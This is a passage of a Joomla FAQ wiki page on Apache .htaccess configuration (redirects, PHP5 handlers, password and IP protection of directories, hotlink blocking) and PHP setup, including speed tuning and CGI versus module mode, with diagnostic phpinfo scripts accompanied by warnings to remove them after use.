6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
